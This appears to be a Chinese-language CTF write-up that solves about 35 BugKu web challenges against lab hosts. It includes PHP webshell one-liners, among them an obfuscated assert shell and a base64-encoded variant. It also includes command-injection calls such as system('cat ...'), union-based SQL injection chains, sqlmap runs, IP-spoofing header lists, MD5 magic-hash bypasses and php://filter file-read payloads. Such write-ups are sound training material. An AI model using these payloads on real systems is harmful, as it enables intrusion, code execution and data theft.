BugKu-web

BugKu-web

1.滑稽

简单题:打开后是空白页面,查看网页源代码就找到flag:

1
<!flag{b71f4e6eb376cf5db16605c6d28ed443}
image

2.计算器

打开页面是个输入验证码的页面,输入验证码没反应

image

查看网页源代码,code.js可能有东西,再打开这个页面,在页面中找到flag

image image

3.alert

页面也是空白的,查看源代码发现是写script标签内容,页面下方注释有一段 Unicode 编码内容,解码后得到flag

image image

4.你必须让他停下

image image

页面在不停地自动刷新,关掉网页js,让图片显示出来,在显示图片页面查看源代码

image

5.头等舱

页面只有个这

image

查看网页源代码,什么也没有;查看页面元素,在响应头找到flag

image

6.GET

image

根据题目要求传入what参数,直接出结果了

image

7.POST

image

同上题一样

8.source

源代码中有答案有一个

base64解码结果不对

image

网页目录扫描,发现有 /.git/ 路径

image

把 .git 下载下来,从下载内容中查找存在 flag 的文件,

下载命令:wget -r http://117.72.52.127:18761/.git

下载git目录后 使用命令查看历史flag记录

我们可以通过使用git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。再使用 git show 命令查看每一个文件

image image

这个也不对,接着找下一个,第二个也不是!

@@ -1 +1 @@
-flag{nonono}
+flag{hahahahahhahahahahnotflag}

接着找后面所有的,找到一个最像正确答案的

@@ -1 +1 @@
-flag{nonono}
+flag{git_is_good_distributed_version_control_system}

9.矛盾

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

$num==1 是 弱类型比较

PHP中字符串与数字弱比较,会将字符串转换为数字,截至到非数字字符,如果第一个字符就是非数字则字符串为0。

例如:

“1” == 1

“1abc” == 1

“123ab” == 123

“a12” == 0

按照此原理题目可将 num 参数设置为 1后面加上任意字母

例如:?num=1aaaa

image

10.备份是个好习惯

打开页面时一串字母加数字的字符串,不像什么编码,查看源代码无果

image

根据题目标题可能有备份文件,扫描一下网站目录,找到个 index.php.bak

image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
  1. strstr(“abcd”,”c”) : 查找 “c” 在 “abcd” 中是否存在,如果是,返回该字符串及后面剩余部分 cd

  2. substr(“abcd”,2) :从字符串的指定位置开始截取到最后一位, cd

  3. str_replace() : 把字符串 “Hello world!” 中的字符 “world” 替换成 “Peter”:

    1
    2
    3
    4
    <?php
    echo str_replace("world","Peter","Hello world!");
    ?>
    输出:Hello Peter!
  4. parse_str() 函数把查询字符串解析到变量中。

    1
    2
    3
    4
    5
    6
    <?php
    parse_str("name=Peter&age=43");
    echo $name."<br>";
    echo $age;
    ?>
    输出:Peter 43
  5. MD5值比较相等(PHP弱类型):

    数组绕过 : eg:a[]=1&b[]=2

    科学计数法绕过:0e绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    240610708:0e462097431906509019562988736854
    240610708 0e462097431906509019562988736854
    314282422 0e990995504821699494520356953734
    571579406 0e972379832854295224118025748221
    QLTHNDT:0e405967825401955372549139051580
    QNKCDZO:0e830400451993494058024219903391
    TUFEPMC 0e839407194569345277863905212547
    UTIPEZQ 0e382098788231234954670291303879
    PJNPDWY:0e291529052894702774557631701704
    s878926199a 0e545993274517709034328855841020
    s155964671a 0e342768416822451524974117254469
    s214587387a 0e848240448830537924465865611904
    s214587387a 0e848240448830537924465865611904

代码解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

include_once "flag.php"; //包含 flag.php 文件
ini_set("display_errors", 0); //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?'); //判断URL里是否有问号,返回?后包含?的所有内容给 $str
$str = substr($str,1); //获取 ? 后面的值,不要 ?,问号后面只有参数了
$str = str_replace('key','',$str); //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串
echo md5($key1); //将 key1 的值进行 MD5 加密并输出
echo md5($key2); //将 key2 的值进行 MD5 加密并输出
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag"; //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>

由于MD5操作数组后全部为NULL,所以强弱类型比较的绕过都可用数组绕过

弱类型比较还可以用,科学计数法 0e 绕过

URL 地址要传入两个参数 ,例如: ?key1=QNKCDZO&key2=s214587387a

发现还是没反应

应该传入 :**?kkeyey1=QNKCDZO&kekeyy2=s214587387a**

使用双写绕过 str_replace() 函数,因为 str_replace() 会把字符串中的 key 替换为空,得到flag ,flag{61f39b75603f82ae120da511396cf16d}

image

解法二:

还可以使用数组绕过:**?kkeyey1[]=aa&kkeyey2[]=sc**

11.变量1

1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

题目分析:

两个主要的知识点: preg_match 和 可变变量

error_reporting(0); // 关闭php错误显示

include “flag1.php”; // 包含flag1.php文件代码

if(!preg_match(“/^\w+$/“,$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成

1
2
3
4
5
/^表示开始,
\w表示任意一个字符,即[a-z][A-Z][0-9],
+将前面的字符匹配一次或多次,
$/结束。
后面的args变量是被匹配的。

只要运行 eval(“var_dump($$args);”);,flag很有可能就会出来$$arg

$$ 是可变变量,就是改变变量的名称的意思。

定义:一个可变变量获取了一个普通变量的值作为这个可变变量的变量名

例如:

1
2
3
4
5
6
<?php
$a = 'hello';
$$a = 'world';//这样两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下两条语句会输出相同的结果:
echo "$a ${$a}"; //会输出 hello world,
echo "$a $hello"; //会输出 hello world,$hello就是$$a
?>

要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。

类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class foo {
var $bar = 'I am bar.';
var $arr = array('I am A.', 'I am B.', 'I am C.');
var $r = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n"; //输出 I am bar.
echo $foo->$baz[1] . "\n"; //输出 I am bar.

$start = 'b';
$end = 'ar';
echo $foo->{$start . $end} . "\n"; //输出 I am bar.

$arr = 'arr';
echo $foo->$arr[1] . "\n"; //输出 I am r.
echo $foo->{$arr}[1] . "\n"; //输出 I am B.
?>

在 PHP 的函数和类的方法中,超全局变量不能用作可变变量。***$this* 变量也是一个特殊变量,不能被动态引用**。

题目中 $$args 就是个可变变量, $args 的值是另一个变量的变量名 ,$$args就代表另一个变量

PHP有九大全局变量

1
2
3
4
5
6
7
8
9
$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]
SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
$GLOBALS [一个包含了全部变量的全局组合数组]
$_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]

一个一个试试,只有 $GLOBALS 可用

构造 ?args=GLOBALS

image

参考资料:

https://www.cnblogs.com/naihaizhuoxia/p/11180982.html

https://www.cnblogs.com/backlion/p/15693677.html

其他:eval() 函数

使用file_put_contents()、eval() 函数上传一句话木马,由于 双引号中变量会被解析为变量的值,而我们需要变量的名,所以需要加**反斜线 **\ 处理变量的值

1
2
3
file_put_contents('shell.php', '<?php @eval($_POST[123]);?>');
file_put_contents("shell.php", "<?php @eval(\$_POST[123]);?>"); //在双引号中变量会被解析为变量的值,所以加反引号绕过
file_put_contents("shell.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+")); //将代码编码绕过

12.本地管理员

image

查看源代码

image 解码后得到 `test`,很可能是密码,试了一下不对,抓包查看请求,请求包为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 117.72.52.127:14080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://117.72.52.127:14080/
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

user=admin&pass=admin

发包后页面没反应 ,想到题目为 本地管理员 ,我们修改 X-Forwarded-For127.0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Client-IP:  127.0.0.1
Forwgrded-For-Ip: 127.0.0.1
Forwärded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP:127.0.0.1
image

返回结果变了,说明改 X-Forwarded-For 有作用,密码使用刚才的 test123 成功获得 flag{e2bb6bc7efddd6aa6fc3348cc19f887c}

13.game1

是个网页版小游戏

目录扫描一下,找到个 /src/index.js ,没有什么有用的

玩游戏,抓个包查看下找到个 /score.php 页面

image

image

sign参数可能是个 base64 ,解码后是个乱码。

在页面源代码中搜索 sign ,发现这个 sgin 是经过base64加密的

1
2
3
var ppp='8.8.8.8';
var sign = Base64.encode(score.toString());
xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);

抓了多次包,发现这个base64码有规律,前两位总是 zM 开头,我们把他去掉

结果分别是 125== 、 25==、100==

1
2
3
GET /score.php?score=125&ip=8.8.8.8&sign=zMMTI1== HTTP/1.1
GET /score.php?score=25&ip=8.8.8.8&sign=zMMjU=== HTTP/1.1
GET /score.php?score=100&ip=8.8.8.8&sign=zMMTAw== HTTP/1.1

我们把score值设置大一些 例如:5000000 ,base64 就是 zMNTAwMDAwMD09,接着发包,flag出现了flag{4ba0b4991081b8dea546b05f11647ed0}

image

14.源代码

题目只有一个输入框和提交按钮,让查看源代码

image

unescape() 函数是要返回指定值的ASCII字符串。

按要求把 p1 解码和 %35%34%61%61%32+p2解码后字符串拼接

eval(unescape(p1) + unescape(‘%35%34%61%61%32’ + p2));

处理后得到的解码内容为:

1
2
3
4
5
6
7
8
9
10
11
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
1
将字符串:67d709b2b54aa2aa648cf6e87a7114f1输入输入框提交得到flag

image

15.网站被黑

image

老规矩,查看网页源代码,什么都没有

目录扫描一下,找到个 /shell.php ,直接访问,发现是个webshell大马

连接密码爆破一下,使用 big.txt 字典,得到了密码是 : hack

image

16.bp

题目提示

提  示: 弱密码top1000?z?????

描  述: 请找出密码

image

直接使用字典 top1000 爆破密码,根据提示密码首字母是可能是 z 开头,但是爆破响应长度都为908

接着看响应包

1
2
3
4
5
6
7
8
9
10
<script>
var r = {code: 'bugku10000'}
if(r.code == 'bugku10000'){
console.log('e');
document.getElementById('d').innerHTML = "Wrong account or password!";
}else{
console.log('0');
window.location.href = 'success.php?code='+r.code;
}
</script>

设置响应包内容筛选,添加 {code: ‘bugku10000’}没有出现登录失败特征码的即为登录成功的Payload

image

密码为 :zxc123

image

17.好像需要密码

image

直接爆破密码,密码为:12468

image

18.shell

描  述:

送给大家一个过狗一句话 $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])

打开页面是个空白页面,描述中提示传参s

1
2
3
?s=system("whoami")       响应 www-data
?s=system("ls%20-al") flaga15808abee46a1d5.txt
?s=system("cat%20flaga15808abee46a1d5.txt")

image

19.eval

1
2
3
4
5
6
 <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

var_dump() 函数可以接受一个或多个参数,并将它们的信息打印到输出流中。

例如:

$variable = “Hello, World!”;
var_dump($variable); // 输出: string(13) “Hello, World!”

传入phpinfo试试

image

接着查看用户:?hello=system(whoami) www-data

?hello=system(‘tac f*’) flag{c5e0918f8ea72bc6a4e2140cd82de208}

image

?hello=eval($_POST[‘cmd’]) 使用蚁剑连接

image

20.需要管理员

image

页面没什么有用信息,直接目录扫描,找到了个 robots.txt,访问 robots.txt,又找到个 resusl.php

1
2
User-agent: *
Disallow: /resusl.php

image

提示要管理员才能操作,尝试传入一个admin

结果出来了

image

21.程序员本地网站

页面显示:请从本地访问!

抓包修改 请求头 X-Forwarded-For: 127.0.0.1 获得结果

image

22.你从哪里来

页面显示:

are you from google?

此题可能是考察请求头访问的连接来源,直接在请求头添加

Referer: www.google.com

image

23.前女友

image

查看网页源代码,有个 code.txt

image

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
  • strcmp()函数 会对比字符串内容,如果一致返回 0,不一致返回 1

  • 传入数组的话,就会返回0,和正确校验一致,从而绕过。例如:

  • if (strcmp($username, $_POST['username']) == 0) {
            if (strcmp($password, $_POST['password']) == 0) {
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    根据:**($v1 != $v2 && md5($v1) == md5($v2))**

    v1和v2可以使用**数组**或者**0e**绕过,v3使用数组绕过

    以下payload可以使用:

    ```php
    ?v1[]=1&v2[]=2&v3[]=1
    ?v1=240610708&v2=314282422&v3[]=112
    ?v1=QNKCDZO&v2=240610708&v3[]=123

flag{51539bd0ddbbdcbdd2078651bb49d3af}

24.MD5

下载了个源码文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*****************}";
} else {
echo "false!!!";
}
}
else{
echo "please input a";
}

分析:

代码要求传入一个参数 a ,要求 a 的 MD5 值不能为 QNKCDZO ,且a的MD5和 QNKCDZO 的MD5值相等。就可以输出flag

可以使用 0e 绕过,找一个 0e 值 ,这里就取 314282422 为例

1
?a=314282422

还可以使用的很多:

s155964671a

571579406

PJNPDWY

……

image

25.各种绕过哟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else
print 'sorry!';
}
?>

代码要求 uname 和 passwd 的值不同,但哈希值相同,很明显,可直接使用数组绕过

get ?id=margin&uname=1

post passwd[]=2

image

26.秋名山车神(1)

image

此题通过写脚本解

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re

request = requests.Session()
url = "http://117.72.52.127:13347/"
response = request.get(url)
n = re.findall("<div>(.*?)=", response.text)[0]
num = eval(n)
data = {"value": num}
response1 = request.post(url, data=data)
f = re.findall('flag{(.*?)}', response1.text)
flag = "flag{" + f[0] + "}"
print(flag)

代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 导入所需的库:requests用于发送HTTP请求,re用于正则表达式匹配
import requests
import re

# 创建一个Session对象,用于保持跨请求的会话状态(如Cookies)
request = requests.Session()
# 定义目标URL地址
url = "http://117.72.52.127:13347/"
# 发送GET请求获取初始页面内容
response = request.get(url)
# 使用正则表达式从响应文本中提取<div>标签内的数学表达式(匹配到第一个等号前的所有内容)
# 示例:若页面显示<div>123+456=,则提取"123+456"
n = re.findall("<div>(.*?)=", response.text)[0]
# 使用eval()计算数学表达式的值(注意:实际生产环境中慎用eval,存在安全风险)
num = eval(n)
# 构造POST请求的表单数据,将计算结果作为value参数提交
data = {"value": num}
# 发送POST请求提交计算结果
response1 = request.post(url, data=data)
# 使用正则表达式从响应中提取flag内容(匹配flag{...}中的...部分)
f = re.findall('flag{(.*?)}', response1.text)
# 组合成完整flag格式并打印
flag = "flag{" + f[0] + "}"
print(flag)

参考:

https://fishpi.cn/article/1647579118689?p=1&amp;m=0

27.速度要快

28.file_get_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。

extract($_GET);

相当于:

$ac=$_GET[‘sc’]

$fn=$_GET[‘fn’]

trim() : 用于移除字符串两侧的空白字符其他预定义字符

file_get_contents()函数 绕过

1
2
3
4
5
6
7
绕过方式有:
php://input伪协议绕过:
使 ?fn=php://input
post方法传入想要file_get_contents()函数返回的值
data://伪协议绕过:
?fn=data://text/plain;base64
?fn=data:text/plain //url编码

?ac=123as&fn=data:text/plain,123as

image

29.成绩查询

image

分别输入了 1,2,3显示不同的成绩列表。抓包查看

image

SQL注入,输入测试 payload

1
2
3
4
5
6
7
8
9
10
11
?id=1
?id=1 and 1=1#
?id=1 and 1=2#
?id=1' #
?id=1' and 1=1#
?id=1' and 1=2#
id=11' union select database(),2,3,4# //skctf
id=11' union select user(),2,3,4# //root@localhost
id=11' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4# //fl4g,sc
id=11' union select (select group_concat(column_name) from information_schema.columns where table_name='fl4g'),2,3,4# //skctf_flag
id=11' union select 1,2,3,group_concat(skctf_flag) from skctf.fl4g# //flag{e8d2544096569cf95da4ecb8121af05b}

image

30.no select

image

SQL注入漏洞。直接 sqlmap

1
python sqlmap.py -u "http://117.72.52.127:11766/?id=1" --dbs		#flag

万能密码: 1' or 1=1 #

image

31.login2

image

直接sqlmap扫描,发现什么都没有

image

image

登录抓包发现有个 tip

image

解码后:

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

可以输入:用户名可以任意值,主要是使用 union 语句

  • 用户名:a' UNION SELECT 1,md5(666)#
  • 密码:666

$password 是我们输入的密码值

row['password'] 应该是查询出来的结果

image

出现另一个页面

image

输入各种命令,没有有用的回显

image

使用管道符 | 可以绕过,将命令执行的结果输出到文件中访问来绕过

image

image

写入木马文件

image

image

32.sql注入

image

题目提示基于布尔的SQL盲注,直接sqlmap跑一下,注不出来。

使用bp爆破密码,用户名是admin,密码爆破出来是 bugkuctf

image

33.login1

image

试了下没有用户弱口令

注册页面注册一个账号:admin /123456

admin加个空格,可以注册成功,设置的密码就会替换成管理员的,因为后端数据库会过自动删掉空格。

image

34.文件包含

image

点击后页面链接变成 http://117.72.52.127:15632/index.php?file=show.php

使用 php://filter 伪协议读取 show.php文件

?file=php://filter/convert.base64-encode/resource=show.php

image

读取 index.php

1
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2NlZDJkZDdiYWU4MzZmZmZlZjI0YjM1Mjk0MWJkZjU2fQ0KPz4NCjwvaHRtbD4NCg==

解码后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-web</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{ced2dd7bae836fffef24b352941bdf56}
?>
</html>

35.never_give_up

查看网页元素和网页源代码,发现有个提示 1p.html

image

访问后发现会跳转到别的页面,为了能访问到 1p.html,可以把这个页面下载下来打开。查看页面内容

wget http://117.72.52.127:16492/1p.html

image

1
%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E

将得到的字符串解码,得到源代码,先url解码后得到一段类似base64的编码,base64解码后又出现一段url编码,继续解码得到正确代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>

stripos($a,’.’) 函数表示 $a 中不能有 ‘.’

看到 file_get_contents($a,’r’) ,立马想到用 php://input 伪协议

表示 $data 中要有bugku is a nice plateform!字符串

看到 $id==0 是两个 =,立马想到是弱类型比较,可以令 id=0qw绕过

eregi(“111”.substr($b,0,1),“1114”) 表示将 111和 $b 提取的第一个字符拼接,和1114做比较,111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114

可以利用 %00截断 ,使substr截取$b字符串时被截断,从而形成eregi(“111”,”1114”),匹配成功,同时%00不会对strlen截断,

又$b字符串长度大于5,可以在 %00 后跟任意字符凑够长度 5,可以构造为 $b=%0012345

其中 %00 算作一个长度为 1

image